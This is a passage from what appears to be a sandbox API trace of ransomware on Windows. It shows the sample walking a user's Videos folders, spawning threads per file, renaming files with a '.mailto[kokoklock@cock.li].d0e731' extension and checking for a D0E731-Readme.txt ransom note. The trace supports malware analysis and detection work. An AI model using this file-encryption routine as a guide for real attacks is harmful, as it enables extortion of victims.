lpOverlapped=0x0) returned 1 [0175.248] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe5830) returned 1 [0175.248] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x12873, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.248] WriteFile (in: hFile=0x530, lpBuffer=0x3054140*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x22affc60, lpOverlapped=0x0 | out: lpBuffer=0x3054140*, lpNumberOfBytesWritten=0x22affc60*=0x20, lpOverlapped=0x0) returned 1 [0175.248] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054140) returned 1 [0175.248] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0175.248] WriteFile (in: hFile=0x530, lpBuffer=0x30542f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x22affc74, lpOverlapped=0x0 | out: lpBuffer=0x30542f8*, lpNumberOfBytesWritten=0x22affc74*=0x8, lpOverlapped=0x0) returned 1 [0175.249] WriteFile (in: hFile=0x530, lpBuffer=0x22affc8c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x22affc74, lpOverlapped=0x0 | out: lpBuffer=0x22affc8c*, lpNumberOfBytesWritten=0x22affc74*=0x4, lpOverlapped=0x0) returned 1 [0175.249] WriteFile (in: hFile=0x530, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x22affc74, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x22affc74*=0x4, lpOverlapped=0x0) returned 1 [0175.249] WriteFile (in: hFile=0x530, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x22affc74, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x22affc74*=0x6c, lpOverlapped=0x0) returned 1 [0175.249] WriteFile (in: hFile=0x530, lpBuffer=0x3054190*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x22affc74, lpOverlapped=0x0 | out: lpBuffer=0x3054190*, lpNumberOfBytesWritten=0x22affc74*=0x20, lpOverlapped=0x0) returned 1 [0175.249] WriteFile (in: hFile=0x530, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x22affc74, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x22affc74*=0x4, lpOverlapped=0x0) returned 1 [0175.249] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054190) returned 1 [0175.249] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30542d0) returned 1 [0175.249] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30542f8) returned 1 [0175.249] CloseHandle (hObject=0x530) returned 1 [0175.249] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x118) returned 0x2f95940 [0175.249] wcscpy (in: _Dest=0x2f95940, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\h5D0qj4ibJU.swf.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\h5D0qj4ibJU.swf.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\h5D0qj4ibJU.swf.mailto[kokoklock@cock.li].d0e731" [0175.250] wcscat (in: _Dest=0x2f95940, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\h5D0qj4ibJU.swf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\h5D0qj4ibJU.swf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0175.250] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\h5D0qj4ibJU.swf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\h5d0qj4ibju.swf.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\h5D0qj4ibJU.swf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\h5d0qj4ibju.swf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0175.251] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\h5D0qj4ibJU.swf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0175.251] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f95940) returned 1 [0175.251] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\h5D0qj4ibJU.swf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0175.251] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x9a) returned 0x2fee588 [0175.251] wcscpy (in: _Dest=0x2fee588, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\" [0175.251] wcscat (in: _Dest=0x2fee588, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\D0E731-Readme.txt" [0175.251] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\d0e731-readme.txt")) returned 0x20 [0175.251] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fee588) returned 1 [0175.251] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f97838) returned 1 [0175.251] RtlExitUserThread (Status=0x1) Thread: id = 2423 os_tid = 0x370 [0175.253] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa0) returned 0x2fee8d0 [0175.253] wcscpy (in: _Dest=0x2fee8d0, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0" [0175.253] wcscat (in: _Dest=0x2fee8d0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\" [0175.253] wcscat (in: _Dest=0x2fee8d0, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\*") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\*" [0175.253] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x3020308 [0175.253] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\*", lpFindFileData=0x3020308 | out: lpFindFileData=0x3020308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7e3dd340, ftCreationTime.dwHighDateTime=0x1d4d4e4, ftLastAccessTime.dwLowDateTime=0x8578a3c3, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8578a3c3, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3044fa8 [0175.267] wcscmp (_String1=".", _String2=".") returned 0 [0175.267] FindNextFileW (in: hFindFile=0x3044fa8, lpFindFileData=0x3020308 | out: lpFindFileData=0x3020308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7e3dd340, ftCreationTime.dwHighDateTime=0x1d4d4e4, ftLastAccessTime.dwLowDateTime=0x8578a3c3, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8578a3c3, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0175.267] wcscmp (_String1="..", _String2=".") returned 1 [0175.267] wcscmp (_String1="..", _String2="..") returned 0 [0175.267] FindNextFileW (in: hFindFile=0x3044fa8, lpFindFileData=0x3020308 | out: lpFindFileData=0x3020308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b33c760, ftCreationTime.dwHighDateTime=0x1d4c7c7, ftLastAccessTime.dwLowDateTime=0xa007ccf0, ftLastAccessTime.dwHighDateTime=0x1d4d305, ftLastWriteTime.dwLowDateTime=0x856f1a8c, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x16944, dwReserved0=0x0, dwReserved1=0x0, cFileName="6CG7H xzR912b_8fBW.mkv.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="6CG7HX~1.D0E")) returned 1 [0175.267] wcscmp (_String1="6CG7H xzR912b_8fBW.mkv.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0175.267] wcscmp (_String1="6CG7H xzR912b_8fBW.mkv.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0175.267] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x10c) returned 0x305d4f8 [0175.267] wcscpy (in: _Dest=0x305d4f8, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0" [0175.267] wcscat (in: _Dest=0x305d4f8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\" [0175.267] wcscat (in: _Dest=0x305d4f8, _Source="6CG7H xzR912b_8fBW.mkv.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\6CG7H xzR912b_8fBW.mkv.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\6CG7H xzR912b_8fBW.mkv.mailto[kokoklock@cock.li].d0e731" [0175.482] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x305d4f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x860 [0175.482] FindNextFileW (in: hFindFile=0x3044fa8, lpFindFileData=0x3020308 | out: lpFindFileData=0x3020308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x856f1a8c, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x856f1a8c, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x856f1a8c, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0175.482] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0175.482] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0175.482] FindNextFileW (in: hFindFile=0x3044fa8, lpFindFileData=0x3020308 | out: lpFindFileData=0x3020308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe79ee40, ftCreationTime.dwHighDateTime=0x1d4d114, ftLastAccessTime.dwLowDateTime=0x8c542108, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8c542108, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MNuAfVGt7Bpb6yoie", cAlternateFileName="MNUAFV~1")) returned 1 [0175.482] wcscmp (_String1="MNuAfVGt7Bpb6yoie", _String2=".") returned 1 [0175.483] wcscmp (_String1="MNuAfVGt7Bpb6yoie", _String2="..") returned 1 [0175.483] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xc0) returned 0x2fa6a50 [0175.483] wcscpy (in: _Dest=0x2fa6a50, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0" [0175.483] wcscat (in: _Dest=0x2fa6a50, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\" [0175.483] wcscat (in: _Dest=0x2fa6a50, _Source="MNuAfVGt7Bpb6yoie" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie" [0175.483] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2fa6a50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5e4 [0175.483] FindNextFileW (in: hFindFile=0x3044fa8, lpFindFileData=0x3020308 | out: lpFindFileData=0x3020308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7addd9d0, ftCreationTime.dwHighDateTime=0x1d4c877, ftLastAccessTime.dwLowDateTime=0x85d38640, ftLastAccessTime.dwHighDateTime=0x1d4c76a, ftLastWriteTime.dwLowDateTime=0x8573ddf8, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x9850, dwReserved0=0x0, dwReserved1=0x0, cFileName="O6chk3iTPWrLKcnpBh.flv.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="O6CHK3~1.D0E")) returned 1 [0175.483] wcscmp (_String1="O6chk3iTPWrLKcnpBh.flv.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0175.484] wcscmp (_String1="O6chk3iTPWrLKcnpBh.flv.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0175.484] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x10c) returned 0x305d728 [0175.484] wcscpy (in: _Dest=0x305d728, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0" [0175.484] wcscat (in: _Dest=0x305d728, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\" [0175.484] wcscat (in: _Dest=0x305d728, _Source="O6chk3iTPWrLKcnpBh.flv.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\O6chk3iTPWrLKcnpBh.flv.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\O6chk3iTPWrLKcnpBh.flv.mailto[kokoklock@cock.li].d0e731" [0175.484] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x305d728, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x37c [0175.484] FindNextFileW (in: hFindFile=0x3044fa8, lpFindFileData=0x3020308 | out: lpFindFileData=0x3020308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2358e5d0, ftCreationTime.dwHighDateTime=0x1d4ca50, ftLastAccessTime.dwLowDateTime=0x5a5c0d80, ftLastAccessTime.dwHighDateTime=0x1d4c6a6, ftLastWriteTime.dwLowDateTime=0x8576400b, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1356b, dwReserved0=0x0, dwReserved1=0x0, cFileName="TOMyWjflNtKL.mkv.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="TOMYWJ~1.D0E")) returned 1 [0175.484] wcscmp (_String1="TOMyWjflNtKL.mkv.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0175.484] wcscmp (_String1="TOMyWjflNtKL.mkv.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0175.484] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x100) returned 0x2f6cf60 [0175.485] wcscpy (in: _Dest=0x2f6cf60, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0" [0175.485] wcscat (in: _Dest=0x2f6cf60, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\" [0175.485] wcscat (in: _Dest=0x2f6cf60, _Source="TOMyWjflNtKL.mkv.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\TOMyWjflNtKL.mkv.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\TOMyWjflNtKL.mkv.mailto[kokoklock@cock.li].d0e731" [0175.485] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f6cf60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3b0 [0175.485] FindNextFileW (in: hFindFile=0x3044fa8, lpFindFileData=0x3020308 | out: lpFindFileData=0x3020308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2165ca40, ftCreationTime.dwHighDateTime=0x1d4d315, ftLastAccessTime.dwLowDateTime=0xfe2c9a50, ftLastAccessTime.dwHighDateTime=0x1d4d1ec, ftLastWriteTime.dwLowDateTime=0x8578a3c3, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x420e, dwReserved0=0x0, dwReserved1=0x0, cFileName="wfMxxS8Vo.mp4.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="WFMXXS~1.D0E")) returned 1 [0175.485] wcscmp (_String1="wfMxxS8Vo.mp4.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0175.485] wcscmp (_String1="wfMxxS8Vo.mp4.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0175.485] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xfa) returned 0x2f6cd50 [0175.485] wcscpy (in: _Dest=0x2f6cd50, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0" [0175.485] wcscat (in: _Dest=0x2f6cd50, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\" [0175.485] wcscat (in: _Dest=0x2f6cd50, _Source="wfMxxS8Vo.mp4.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\wfMxxS8Vo.mp4.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\wfMxxS8Vo.mp4.mailto[kokoklock@cock.li].d0e731" [0175.486] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f6cd50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4d8 [0175.486] FindNextFileW (in: hFindFile=0x3044fa8, lpFindFileData=0x3020308 | out: lpFindFileData=0x3020308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2165ca40, ftCreationTime.dwHighDateTime=0x1d4d315, ftLastAccessTime.dwLowDateTime=0xfe2c9a50, ftLastAccessTime.dwHighDateTime=0x1d4d1ec, ftLastWriteTime.dwLowDateTime=0x8578a3c3, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x420e, dwReserved0=0x0, dwReserved1=0x0, cFileName="wfMxxS8Vo.mp4.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="WFMXXS~1.D0E")) returned 0 [0175.486] FindClose (in: hFindFile=0x3044fa8 | out: hFindFile=0x3044fa8) returned 1 [0175.487] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3020308) returned 1 [0175.487] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fee8d0) returned 1 [0175.487] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2feecc0) returned 1 [0175.487] RtlExitUserThread (Status=0x0) Thread: id = 2424 os_tid = 0x5b4 [0175.268] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x8a) returned 0x2fcfee0 [0175.268] wcscpy (in: _Dest=0x2fcfee0, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP" [0175.268] wcscat (in: _Dest=0x2fcfee0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\" [0175.268] wcscat (in: _Dest=0x2fcfee0, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\*") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\*" [0175.268] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x3020a40 [0175.268] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\*", lpFindFileData=0x3020a40 | out: lpFindFileData=0x3020a40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc7458530, ftCreationTime.dwHighDateTime=0x1d4cffb, ftLastAccessTime.dwLowDateTime=0x856cb650, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x856cb650, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3044fe8 [0175.270] wcscmp (_String1=".", _String2=".") returned 0 [0175.270] FindNextFileW (in: hFindFile=0x3044fe8, lpFindFileData=0x3020a40 | out: lpFindFileData=0x3020a40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc7458530, ftCreationTime.dwHighDateTime=0x1d4cffb, ftLastAccessTime.dwLowDateTime=0x856cb650, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x856cb650, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0175.270] wcscmp (_String1="..", _String2=".") returned 1 [0175.270] wcscmp (_String1="..", _String2="..") returned 0 [0175.270] FindNextFileW (in: hFindFile=0x3044fe8, lpFindFileData=0x3020a40 | out: lpFindFileData=0x3020a40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x945ad0c0, ftCreationTime.dwHighDateTime=0x1d4d349, ftLastAccessTime.dwLowDateTime=0x38d50d10, 